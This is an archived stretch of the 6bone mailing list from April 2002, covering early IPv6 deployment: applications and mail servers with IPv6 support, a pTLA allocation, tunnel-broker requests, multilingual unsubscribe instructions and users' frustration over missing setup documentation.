10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><SPAN class=3DSpellE><FONT face=3DArial =
size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: =
10pt">Dafydd</SPAN></FONT></SPAN><FONT=20
  face=3DArial size=3D2><SPAN style=3D"FONT-FAMILY: Arial; FONT-SIZE: =
10pt">=20
  Giddins<o:p></o:p></SPAN></FONT></P></DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C1E22D.5C601150--

From 6bone-owner  Fri Apr 12 08:15:44 2002
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	(envelope-from daniel@unix.za.net)
Message-Id: <200204121515.g3CFFVfl096138@unix.za.net>
Date: Fri, 12 Apr 2002 15:15:30 -0000
To: "Jochen Friedrich" <jochen@scram.de>
Subject: Re: [OT] IPv6 applications in active use 
From: "Daniel Schroder" <daniel@unix.za.net>
X-Mailer: TWIG 2.7.5
In-Reply-To: <Pine.NEB.4.33.0204121517450.19191-100000@www2.scram.de>
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Reply-To: daniel@ipnet.co.za
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Jochen Friedrich <jochen@scram.de> said:


 Just a question.
 I've been using Ipv6 for mail quite sometime , and was
 wondering why this mailling list does not try to first 
 send on the 6bone ? I know my 6Bone mail is working , including
 the websight (unix.za.net) .. for more than a year now.

 Send mail to daniel@unix.za.net , and it will come through
 on the 6bone is you would like to try . I'm allmost at the
 stage were one could only use Ipv6 for mail setups over multiple
 cities.

 Daniel


> Hi Harald,
> 
> > > Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
> > > besides Exim support IPv6?  What MUAs support IPv6?
> >
> > sendmail and fetchmail. Both have IPv6 support out-of-the-box with
> > RedHat 7.2.
> 
> Here at scram! e.V., we use sendmail and cyrus imap, both with IPv6
> support.
> 
> Current CVS mutt also supports IPv6, so i'm completely happy with Mail
> :-).
> 
> Cheers,
> --jochen
> 



-- 
-Daniel Schroder (Ipnet)
 Unix Networks and Systems Admin




From 6bone-owner  Fri Apr 12 08:29:58 2002
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Date: Fri, 12 Apr 2002 08:29:30 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4002::/32 allocated to MOTOROLA-LABS
Cc: Silverton Aron-C1710C <Aron.J.Silverton@motorola.com>,
        6bone reverse DNS registration <hostmaster@ep.net>
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MOTOROLA-LABS has been allocated pTLA 3FFE:4002::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?MOTOROLA-LABS>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Fri Apr 12 08:48:22 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: <rblechinger@noc.eurocyber.net>
Cc: <6bone@ISI.EDU>
Subject: RE: [OT] IPv6 applications in active use
Date: Fri, 12 Apr 2002 17:47:32 +0200
Organization: NDSoftware Group
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Blechinger Robert
> Sent: Friday, April 12, 2002 10:08 AM
> To: Ben Winslow
> Cc: 6bone@ISI.EDU
> Subject: Re: [OT] IPv6 applications in active use
> 

Hi,

> 
> I regular use follwing:
> 
> - nntp ( news.ipv6.eurocyber.net, we're searching for more ipv6
> newsfeeds )

We have a news server IPv4/IPv6: newsfeed.fr.ndsoftwarenet.com
(crash disk this morning, we have loss all previous usenet message on
the server)

We can feed (only in IPv6):
fr.*,uk.*,microsoft.*,de.*,comp.*,deine.*,be.*,news.*
No other groups, the server have low bandwitch for the moment.

Regards,

Nicolas DEFFAYET


From 6bone-owner  Fri Apr 12 11:04:51 2002
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From: Roderick Martin <r.martin@ardentcomm.com>
To: 6bone@ISI.EDU
Subject: remove
Date: Fri, 12 Apr 2002 13:46:34 -0400
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please remove from list

Rod L. Martin
Sr. Network Engineer
CCDP, CFA, JNCIS
Ardent Communications 
r.martin@ardentcomm.com
THE DRAGON HAS RISEN






From 6bone-owner  Fri Apr 12 11:23:40 2002
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Date: Fri, 12 Apr 2002 20:23:34 +0200
From: Pim van Pelt <pim@ipng.nl>
To: daniel@ipnet.co.za
Cc: Jochen Friedrich <jochen@scram.de>, 6bone@ISI.EDU, daniel@unix.za.net
Subject: Re: [OT] IPv6 applications in active use
Message-ID: <20020412182334.GB11503@bfib.colo.bit.nl>
References: <Pine.NEB.4.33.0204121517450.19191-100000@www2.scram.de> <200204121515.g3CFFVfl096138@unix.za.net>
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Hi Daniel,

|  Just a question.
|  I've been using Ipv6 for mail quite sometime , and was
|  wondering why this mailling list does not try to first 
|  send on the 6bone ? I know my 6Bone mail is working , including
|  the websight (unix.za.net) .. for more than a year now.
Well, I'm not sure that ISI.edu has IPv6 connectivity themselves on
their mail platform, eg:

$ host -t MX isi.edu
isi.edu mail is handled (pri=10) by gamma.isi.edu
isi.edu mail is handled (pri=0) by tnt.isi.edu
$ host -t AAAA tnt.isi.edu
(none)
$ host -t AAAA gamma.isi.edu
(none)

|  Send mail to daniel@unix.za.net , and it will come through
|  on the 6bone is you would like to try . I'm allmost at the
|  stage were one could only use Ipv6 for mail setups over multiple
|  cities.
I have CC:ed daniel@unix.za.net and you'll see it coming in over IPv6 at
your site, because:

$ host -t MX ipng.nl
ipng.nl mail is handled (pri=20) by hog.ipng.nl
ipng.nl mail is handled (pri=10) by mailhost.ipng.nl
$ host -t AAAA mailhost.ipng.nl
mailhost.ipng.nl IPv6 address 2001:7b8:2:0:290:27ff:fe0c:5c5e
$ host -t AAAA hog.ipng.nl     
hog.ipng.nl IPv6 address 2001:7b8:3:51:203:47ff:fe73:1f0f

Kind regards,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Apr 12 14:57:05 2002
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Date: Fri, 12 Apr 2002 17:57:04 -0400 (EDT)
From: John Klos <john@sixgirls.org>
To: Roderick Martin <r.martin@ardentcomm.com>
cc: 6bone@ISI.EDU
Subject: Re: remove
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> please remove from list
>
> Rod L. Martin
> Sr. Network Engineer

You're a senior network engineer and you can't figure out how to
unsubscribe yourself?



From 6bone-owner  Fri Apr 12 15:24:19 2002
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	partir/Come andare/Como sair
From: Ben Winslow <rain@bluecherry.net>
To: 6bone@ISI.EDU
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--=-05rJn4IEOL3zLHC0hBJI
Content-Type: multipart/mixed; boundary="=-vvzstXPUiUUspfzmULt4"


--=-vvzstXPUiUUspfzmULt4
Content-Type: text/plain; charset=ISO-8859-1
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Here again is the message from George Mitchell (since I'm too lazy to
write something original right now) since it's apparently needed once
again (along with poor translations since I don't think English is the
first language for some of these people.)

If any native speaker of one of these languages (or of another language
altogether) wants to mail me a (better) translation, I'll put them all
together in a generic message that we can either send to people or point
them to, since it seems that there's once again a problem with people
being subscribed who don't wish to be.

-----

It's not clear why so many people are trying to leave the mailing list,
but let me post this reminder, which you all got when you first
subscribed to the list:

If you ever want to remove yourself from this mailing list, send the
following command in email to "6bone-request@zephyr.isi.edu":

    unsubscribe

Or you can send mail to "majordomo@zephyr.isi.edu" with the following
command in the body of your email message:

    unsubscribe 6bone <your-email-address>

-----

No est=E1 claro porqu=E9 tan mucha gente est=E1 intentando dejar la lista e=
l
enviar, pero me dej=F3 fijar este recordatorio, que usted consigui=F3 todo
cuando usted primero suscribi=F3 a la lista:

Si usted desea siempre quitarse de esta lista el enviar, env=EDe el
comando siguiente en el email a "6bone-request@zephyr.isi.edu":=20

    unsubscribe

O usted puede enviar el correo a "majordomo@zephyr.isi.edu" con el
comando siguiente en el cuerpo de su mensaje del email:

    unsubscribe 6bone <su-email-trata>

-----

Il n'est pas clair pourquoi tant de personnes essayent de laisser la
liste d'exp=E9dition, mais m'a laiss=E9 signaler ce rappel, que vous avez
tout obtenu quand vous avez souscrit la premi=E8re fois =E0 la liste:

Si vous voulez jamais vous enlever de cette liste d'exp=E9dition, envoyez
la commande suivante dans l'email =E0 "6bone-request@zephyr.isi.edu": =20

    unsubscribe

Ou vous peut envoyer le courrier =E0 "majordomo@zephyr.isi.edu" avec la
commande suivante dans le corps de votre message d'email:

    unsubscribe 6bone <votre-email-adressent>

-----

Non =E8 chiaro perch=E8 tanta gente sta provando a lasciare la lista
spedire, ma lo ha lasciato inviare questo ricordo, che interamente avete
ottenuto quando in primo luogo vi siete abbonati alla lista:

Se desiderate mai rimuoversi da questa lista spedire, trasmetta il
seguente ordine in email a "6bone-request@zephyr.isi.edu":

    unsubscribe

O voi pu=F2 trasmettere la posta a "majordomo@zephyr.isi.edu" con il
seguente ordine nel corpo del vostro messaggio del email:

    unsubscribe 6bone <vostro-email-richiama>

-----

N=E3o est=E1 desobstru=EDdo porque assim muitos povos est=E3o tentando deix=
ar a
lista enviar, mas deixa-me afixar este lembrete, que voc=EA come=E7ou toda
quando voc=EA subscreveu primeiramente =E0 lista:

Se voc=EA quiser sempre se remover desta lista enviar, emita o seguinte
comando no email a "6bone-request@zephyr.isi.edu":

    unsubscribe

Ou voc=EA podem emitir o correio a "majordomo@zephyr.isi.edu" com o
seguinte comando no corpo de sua mensagem do email:

     unsubscribe 6bone <seu-email-dirige-se>

--=20
Ben Winslow (rain@bluecherry.net) : Anyone who is capable of getting=20
       System Administrator       : themselves made President should=20
   Bluecherry Internet Services   : on no account be allowed to do
    http://www.bluecherry.net/    : the job. -- THGTTG =20
          (573) 592-0800          :=20

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To: 6bone@ISI.EDU
Subject: How to remove yourself from the list
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It's not clear why so many people are trying to leave the mailing list,
but let me post this reminder, which you all got when you first subscribed
to the list:


If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@zephyr.isi.edu":

    unsubscribe

Or you can send mail to "majordomo@zephyr.isi.edu" with the following comma=
nd
in the body of your email message:

    unsubscribe 6bone <your-email-address>

-- George Mitchell

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Date: Fri, 1 Feb 2002 04:38:57 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: 6bone@ISI.EDU
Subject: The welcome message
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Welcome to the 6bone mailing list!

If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@isi.edu":

    unsubscribe

Or you can send mail to "majordomo@isi.edu" with the following command
in the body of your email message:

    unsubscribe 6bone <your email address>

--------------------------------------------------------

There is a relay in singapore that I -think- has been squashed.
There might be another one that is still being investigated.

thanks for you patience

--bill

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From 6bone-owner  Fri Apr 12 17:00:43 2002
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From: "matthew zeier" <mrz@intelenet.net>
To: <6bone@ISI.EDU>
Subject: looking for 6bone tunnel
Date: Fri, 12 Apr 2002 16:59:37 -0700
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I've been trying for a week to find someone to give me a connection to the
6bone.  UUNET seems to be my most logical choice however, I haven't heard
back from them since their initial "yes we can do it" email.

Is anyone close enough to:

ipv6-tunnel.irv.intelenet.net has address 216.23.160.133

To help me out?

Thanks.

--
matthew zeier - "In mathematics you don't understand things.  You just
get used to them." - John von Newmann


From 6bone-owner  Fri Apr 12 22:39:12 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "matthew zeier" <mrz@intelenet.net>, <6bone@ISI.EDU>
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It would help if you allowed people to traceroute to your router....

-----Original Message-----
From: matthew zeier [mailto:mrz@intelenet.net]
Sent: Friday, April 12, 2002 5:00 PM
To: 6bone@ISI.EDU
Subject: looking for 6bone tunnel


I've been trying for a week to find someone to give me a connection to the
6bone.  UUNET seems to be my most logical choice however, I haven't heard
back from them since their initial "yes we can do it" email.

Is anyone close enough to:

ipv6-tunnel.irv.intelenet.net has address 216.23.160.133

To help me out?

Thanks.

--
matthew zeier - "In mathematics you don't understand things.  You just
get used to them." - John von Newmann

From 6bone-owner  Fri Apr 12 23:18:52 2002
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> It would help if you allowed people to traceroute to your router....

My bad.  216.23.160.12 and 216.23.160.133 are the same box.

-----Original Message-----
From: matthew zeier [mailto:mrz@intelenet.net]
Sent: Friday, April 12, 2002 5:00 PM
To: 6bone@ISI.EDU
Subject: looking for 6bone tunnel


I've been trying for a week to find someone to give me a connection to the
6bone.  UUNET seems to be my most logical choice however, I haven't heard
back from them since their initial "yes we can do it" email.

Is anyone close enough to:

ipv6-tunnel.irv.intelenet.net has address 216.23.160.133

To help me out?

Thanks.

--
matthew zeier - "In mathematics you don't understand things.  You just
get used to them." - John von Newmann



From 6bone-owner  Sat Apr 13 07:10:42 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'matthew zeier'" <mrz@intelenet.net>, <6bone@ISI.EDU>
Subject: RE: looking for 6bone tunnel
Date: Sat, 13 Apr 2002 16:10:30 +0200
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matthew zeier wrote:

> > It would help if you allowed people to traceroute to your router....
> 
> My bad.  216.23.160.12 and 216.23.160.133 are the same box.

http://hs247.com at the right hand side you will find a list of
tunnelbrokers.

and:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Access_Provide
rs/

For some more ;)

Greets,
 Jeroen


From 6bone-owner  Sat Apr 13 11:07:33 2002
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Date: Sat, 13 Apr 2002 20:07:08 +0200 (SAST)
From: Daniel Schroder <daniel@unix.za.net>
To: John Klos <john@sixgirls.org>
cc: Roderick Martin <r.martin@ardentcomm.com>, <6bone@ISI.EDU>
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On Fri, 12 Apr 2002, John Klos wrote:

> > please remove from list
> >
> > Rod L. Martin
> > Sr. Network Engineer
>
> You're a senior network engineer and you can't figure out how to
> unsubscribe yourself?
>
  You missed the 'senior' part


From 6bone-owner  Sun Apr 14 07:02:44 2002
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From: "Amir" <six_bone@neurojacked.net>
To: "6bone" <6bone@ISI.EDU>
Subject: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?
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Hi, I'm interested in connecting my home LAN of 3 linux stations
to 6bone. From what I've read until now, while trying to collect
data to answer the very basic question of "Whether I can do this at all?"
before I get down to business, I haven't seen anything that stated if
my ipv4 address, which is dynamic, can be used to tunnel the traffic.
Please tell me if it's possible, because if it's not, there's really no
point for me to delve into the project in the first place.
And, if it is possible, are there any added difficulties involved, or
will it be relatively the same as installing it on a static ipv4 IP address
?

Thanks, and sorry if it's a newbie question, I simply want to know if I
can do it at all.

Amir.


From 6bone-owner  Sun Apr 14 11:49:46 2002
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic
 ?
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Apr 14 2002 17:01 +0200, Amir wrote:

> Hi, I'm interested in connecting my home LAN of 3 linux stations
> to 6bone. From what I've read until now, while trying to collect
> data to answer the very basic question of "Whether I can do this at all?"
> before I get down to business, I haven't seen anything that stated if
> my ipv4 address, which is dynamic, can be used to tunnel the traffic.
> Please tell me if it's possible, because if it's not, there's really no
> point for me to delve into the project in the first place.
> And, if it is possible, are there any added difficulties involved, or
> will it be relatively the same as installing it on a static ipv4 IP address
> ?
>
> Thanks, and sorry if it's a newbie question, I simply want to know if I
> can do it at all.
>
> Amir.

Freenet6 (www.freenet6.net) might be just what you are looking for. I
haven't tried them myself, but from their web site it appears that
things work with dynamic IPs just fine. You can get either a /48 or a
/64, from what I have gathered (but I haven't exactly read through
everything a dozen times).

Just remember that you cannot do IPv4 NAT in front of the IPv6-in-v4
gateway.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
-----BEGIN PGP SIGNATURE-----
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=nOHb
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From 6bone-owner  Sun Apr 14 13:02:43 2002
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Date: Sun, 14 Apr 2002 15:59:23 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
In-reply-to: <005d01c1e126$923358d0$1a6001cb@chalmers.com.au> from <Merlin@Apr>
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Nope, you're _not_ alone.  In fact, you've had much more luck than
I've had.  I finally gave up on getting it to work serveral months ago,
only posting comments to that effect every so often (when somebody
else posted here asking how to get his f---in' system connected) since.
I've read through every last bit of documentation I've been able to locate
(of which there's no lack, if you search Yahoo!), but all of it is either
targetted at FreeBSD or rc.config-based GNU/Linux systems.  The Slackware
forum disappeared quite a few months ago, and the USAGI folks are too
busy coding to be able to offer any real help.  Further complicating
the issue is the fact that my Linux kernel supposedly already _has_
IPv6 (and indeed, I'm supposed to be able to ping6 ::1/128 - something I
was only able to verify a couple of months ago, after officially giving
up, since I happend to stumble into a ping6 binary I had lying around
from a SuSE on one of my old systems; I have yet to find a telnet,
traceroute, telnetd, or any other app I can use to figure out what's
up with my IPv6 config, and using anything but loopback for _anything_
is basically out-of-the-question, simply because I have no clue where
to start ... I'll tackle IPv6 Internet connectivity after getting one
or more of my own networks working on IPv6).

I also know a few others who can tell similar tales.  They just aren't
even subscribed to this list anymore.  (I only read this list because I'm
too lazy to unsubscribe - and maybe because I subconsciously hope that
somebody, somewhere, someday might be willing to take the 20 minutes
necessary to explain the HOWTO aspects of configuring a system to use
IPv6, as well as answering my syscall-related questions (which have
prevented me from writing my own programs to test out the network,
thus far).

To top off my annoyance, the latest brand spankin' new Linux/POSIX
edition of the Comer&Stevens volume 3 of Internetworking with TCP/IP
doesn't even mention the existance of IPv6 (!?!) - certainly you weren't
expecting it to provide any details of programming for IPv6, eh?

A rather frusterated IPv6 non-user,
Dave Cohen <dave@dave.tj>


Merlin wrote:
> 
> I wonder if I might come in on this conversation for a moment with another perspective.
> 
> Regardless of the location of end points, and blocks and bits of blocks it seems to me that the whole idea of moving to
> the IPv6 network will die from lack of involvement if it can't become easier to implement. I refer of course to the
> actual setting up of the protocols on an actual computer.
> While it is of course very necessary to continue working on the outlines - RFCs etc - there needs to be some serious
> attempts made to see that valid HOWTOs are produced by those who fully understand the variants.
> 
> I take the comment from Pekka Savola in point.
> > > > If I was serious about experimenting with IPv6,
> 
> Well, there are many people who are serious about experimenting, but the lack of useable information is daunting.
> Mailing lists are ok for what they do - but often only confuse the issue. The documents that are available on the
> internet now on the subject of V6 are nothing if not conflicting!
> 
> The biggest pool of uses or potential users - are of course those already using IPv4. This seems to then be the obvious
> starting point to use to build toward eventual take up of full IPv6. That time is of course many many years away. The
> investment in training, software, hardware, plant and commerce is so great in the IPv4 area that it will probably never
> be fully moved into the IPv6 area in our lifetimes.
> 
> As I understand it, 6to4, using the assigned 2002: prefix was designed to enable the use of IPv6 over the existing
> infrastructure. An admirable idea, and it appears to work well. However, the depth of documentation on the subject again
> is very thin. Enough to get one host or router working if one is lucky, and precious little available to enable a whole
> network.
> Experimenting? sure. I've been fiddling with it for weeks now on and off. I have one host on my network working as a
> host/gateway - finally - I think. and the other host on the network that I set up in the same experimental interest as a
> host only is supposed to autoconfigure and connect - well it doesn't. I'm using FreeBSD which seems to be pretty common
> throughout the discussions, so it shouldn't be a mystery. But of course it is.
> 
> But back to the topic. I've been around the Internet since it was AARNet, so I'm not exactly new to all this. I'm very
> sure that if I'm having problems nutting it all out, there is little hope for quite a few others. I know there are
> useful things like freenet6 out there, but there again - minimal documentation, and it uses a completly different
> prefix, 3fff I think it is from memory. This only serves to further confuse the issue for beginners.
> 
> If 6to4 for a number of 'well known platforms' based on the 2002 prefix - designed as I understand it specifically to
> use the existing IPv4 networks - could be documented carefully and kept updated it would server to increase interest on
> a much wider scale.
> I refer to the apparent ease of understanding that numbering system. 2002 is the prefix that tells everyone that it's an
> address on an existing IPv4 network and probably is still being used for something useful, like a web server. The next
> eight hex-numbers are the IPv4 number translated to hex of the machine that is acting as the IPv6 host/gateway. the
> (cb01:6006 in my case) and the ::1 ( I Think) tells that it's the first host on the internal IPv6 network. This is where
> it all starts to get grey here. Because the second host - which one would think was numbered ::2 on that network can't
> be made to understand that. Any attempt to put that number on any of its interfaces simply confuses it. Interesting
> though, both machines can talk to each other via the fe80:<hex-mac-address>:<interface> which of couse is nothing to do
> with the 2002 prefix.
> 
> Now - I've so far received over a dozen suggestions on how to get the two machines talking to each other correctl, as
> well as to the internet, and every one has been different. I have a cardboard carton full of printouts of the same.
> Variations of the same theme.
> 
> now - I'm not digressing in that discussion above. It's to point out that if it is so hard to set up an IPv6 network
> across an existing IPv4 network, using systems supposedly designed to facilitate that, then no one will bother after the
> first few frustrating attempts.
> If the system isn't loaded too heavily, you should actually be able to connect to http://ruby.chalmers.com.au Apache-2
> install page is all, on 2002:cb01:6006::1 Now, I'm not sure if it's actually listening on the v6 port, put a ping6 to
> the address should work.
> It's the gateway/host/reouter whatever.
> 
> s you can see, the origin is the HEX-MAC address of the other host. Which should be 2002:cb01:6006::2 .....OR.... as
> someone said, it should be 2002:cb01:6005::1 But of course it would be if it were standalone. But it's supposed to be on
> the same network as the 6006 one. You begin to see what I mean.
> $ ping6 ruby
> PING6(56=40+8+8 bytes) fe80::210:b5ff:fee4:4386%rl0 --> 2002:cb01:6006::1
> 16 bytes from 2002:cb01:6006::1, icmp_seq=0 hlim=64 time=0.913 ms
> 
> 
> So in conclusion - I suspect that very few people actually understand about esoteric details like latency on pure IPv6
> machines. But I could point at a user group who I'm sure would love to get their teeth into setting up any number of
> hosts, even virtual hosts, behind their one assigned IPv4 address. If someone could come up  with something that was
> readable and useable on the subject of setting up 6to4. (and on FreeBSD in my case.) I'm happy to contribute in any way
> I can, small as that may appear to the wizards of the pure IPv6 world.
> 
> If IPv6 is to be rolled out and not forgotten, people need to be able to implement it on their existing networks.
> 
> just my two cents worth,
> Robert Chalmers
> Quantum Radio
> 
> 
> 
> 
> 
> > > > Pekka Savola wrote:
> > > > If I was serious about experimenting with IPv6, I sure would not
> > > > go overseas to find someone who might be willing to slice off a
> > > > part of a block.  However, if I was not serious, I wouldn't care if
> > > > all my IPv6 traffic to European countries crossed the
> > > Atlantic twice.
> 
> > I personally use on day by day basis, IPv6 enabled:
> >  - SSH (PuTTY :)
> >  - SMTP
> >  - Quake 1 + 2*
> >  - HTTP
> >  - X
> >
> >
> 
> > > guarantee that the 6bone will not be used for production.
> > You've got a point there :)
> > Though I think most people will profit from good latency.
> 
> 


From 6bone-owner  Sun Apr 14 14:08:13 2002
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Date: Mon, 15 Apr 2002 01:11:52 +0200
From: Fabian Svara <svara@gmx.net>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone@ISI.EDU
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?
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> Just remember that you cannot do IPv4 NAT in front of the IPv6-in-v4
> gateway.

So that's why I could never manage to get freenet6 to work! I asked quite some people on #ipv6 on OPN though, and they all told me it was possible. Strange...

-Fabian Svara

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From: Michael Kjorling <michael@kjorling.com>
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To: Fabian Svara <svara@gmx.net>
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Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic
 ?
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On Apr 15 2002 01:11 +0200, Fabian Svara wrote:

> > Just remember that you cannot do IPv4 NAT in front of the IPv6-in-v4
> > gateway.
>
> So that's why I could never manage to get freenet6 to work! I asked
> quite some people on #ipv6 on OPN though, and they all told me it
> was possible. Strange...
>
> -Fabian Svara

Well, I believe that I read that it works if it is nothing but address
translation (one public address is changed into one private), but that
is not what I have seen the term NAT being used about. (The way most
people seem to use the term 'NAT' is in the meaning of what in the
Linux world is called 'ip masquerading' - one public IP address in
front of more than one private ones.)

Maybe that is why.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Sun Apr 14 15:09:01 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
Date: Sun, 14 Apr 2002 18:09:06 -0400
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Hello from Gregg C Levine normally with Jedi Knight Computers
I just finished reading your statement regarding the dearth of luck, and
successes, that you have been having, and I noticed a reference in your
statements, that stood out. And I quote here, " The Slackware  forum
disappeared quite a few months ago, and the USAGI folks are too busy
coding to be able to offer any real help.". I recognize the reference to
"USAGI" so I am not asking about that. I am asking about the "Slackware
forum". Who, or what was that? Slackware is indeed still in business,
they are moving towards a release of 8.1 of their distribution. But you
are right. When I was meandering through the whole idea of getting my
Slackware system connected, I realized that I would need to use the
services of a Freenet type tunnel broker. So with that decision I
shelved it. So I still have one question to ask, and that one, is it. 
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Dave
> Sent: Sunday, April 14, 2002 3:59 PM
> To: robert@quantum-radio.net.au
> Cc: 6bone
> Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23
April 2002
> 
> Nope, you're _not_ alone.  In fact, you've had much more luck than
> I've had.  I finally gave up on getting it to work serveral months
ago,
> only posting comments to that effect every so often (when somebody
> else posted here asking how to get his f---in' system connected)
since.
> I've read through every last bit of documentation I've been able to
locate
> (of which there's no lack, if you search Yahoo!), but all of it is
either
> targetted at FreeBSD or rc.config-based GNU/Linux systems.  The
Slackware
> forum disappeared quite a few months ago, and the USAGI folks are too
> busy coding to be able to offer any real help.  Further complicating
> the issue is the fact that my Linux kernel supposedly already _has_
> IPv6 (and indeed, I'm supposed to be able to ping6 ::1/128 - something
I
> was only able to verify a couple of months ago, after officially
giving
> up, since I happend to stumble into a ping6 binary I had lying around
> from a SuSE on one of my old systems; I have yet to find a telnet,
> traceroute, telnetd, or any other app I can use to figure out what's
> up with my IPv6 config, and using anything but loopback for _anything_
> is basically out-of-the-question, simply because I have no clue where
> to start ... I'll tackle IPv6 Internet connectivity after getting one
> or more of my own networks working on IPv6).
> 
> I also know a few others who can tell similar tales.  They just aren't
> even subscribed to this list anymore.  (I only read this list because
I'm
> too lazy to unsubscribe - and maybe because I subconsciously hope that
> somebody, somewhere, someday might be willing to take the 20 minutes
> necessary to explain the HOWTO aspects of configuring a system to use
> IPv6, as well as answering my syscall-related questions (which have
> prevented me from writing my own programs to test out the network,
> thus far).
> 
> To top off my annoyance, the latest brand spankin' new Linux/POSIX
> edition of the Comer&Stevens volume 3 of Internetworking with TCP/IP
> doesn't even mention the existance of IPv6 (!?!) - certainly you
weren't
> expecting it to provide any details of programming for IPv6, eh?
> 
> A rather frusterated IPv6 non-user,
> Dave Cohen <dave@dave.tj>
> 
> 
> Merlin wrote:
> >
> > I wonder if I might come in on this conversation for a moment with
another
> perspective.
> >
> > Regardless of the location of end points, and blocks and bits of
blocks it seems to
> me that the whole idea of moving to
> > the IPv6 network will die from lack of involvement if it can't
become easier to
> implement. I refer of course to the
> > actual setting up of the protocols on an actual computer.
> > While it is of course very necessary to continue working on the
outlines - RFCs
> etc - there needs to be some serious
> > attempts made to see that valid HOWTOs are produced by those who
fully
> understand the variants.
> >
> > I take the comment from Pekka Savola in point.
> > > > > If I was serious about experimenting with IPv6,
> >
> > Well, there are many people who are serious about experimenting, but
the lack of
> useable information is daunting.
> > Mailing lists are ok for what they do - but often only confuse the
issue. The
> documents that are available on the
> > internet now on the subject of V6 are nothing if not conflicting!
> >
> > The biggest pool of uses or potential users - are of course those
already using
> IPv4. This seems to then be the obvious
> > starting point to use to build toward eventual take up of full IPv6.
That time is of
> course many many years away. The
> > investment in training, software, hardware, plant and commerce is so
great in the
> IPv4 area that it will probably never
> > be fully moved into the IPv6 area in our lifetimes.
> >
> > As I understand it, 6to4, using the assigned 2002: prefix was
designed to enable
> the use of IPv6 over the existing
> > infrastructure. An admirable idea, and it appears to work well.
However, the depth
> of documentation on the subject again
> > is very thin. Enough to get one host or router working if one is
lucky, and precious
> little available to enable a whole
> > network.
> > Experimenting? sure. I've been fiddling with it for weeks now on and
off. I have
> one host on my network working as a
> > host/gateway - finally - I think. and the other host on the network
that I set up in
> the same experimental interest as a
> > host only is supposed to autoconfigure and connect - well it
doesn't. I'm using
> FreeBSD which seems to be pretty common
> > throughout the discussions, so it shouldn't be a mystery. But of
course it is.
> >
> > But back to the topic. I've been around the Internet since it was
AARNet, so I'm
> not exactly new to all this. I'm very
> > sure that if I'm having problems nutting it all out, there is little
hope for quite a
> few others. I know there are
> > useful things like freenet6 out there, but there again - minimal
documentation, and
> it uses a completly different
> > prefix, 3fff I think it is from memory. This only serves to further
confuse the issue
> for beginners.
> >
> > If 6to4 for a number of 'well known platforms' based on the 2002
prefix - designed
> as I understand it specifically to
> > use the existing IPv4 networks - could be documented carefully and
kept updated
> it would server to increase interest on
> > a much wider scale.
> > I refer to the apparent ease of understanding that numbering system.
2002 is the
> prefix that tells everyone that it's an
> > address on an existing IPv4 network and probably is still being used
for something
> useful, like a web server. The next
> > eight hex-numbers are the IPv4 number translated to hex of the
machine that is
> acting as the IPv6 host/gateway. the
> > (cb01:6006 in my case) and the ::1 ( I Think) tells that it's the
first host on the
> internal IPv6 network. This is where
> > it all starts to get grey here. Because the second host - which one
would think was
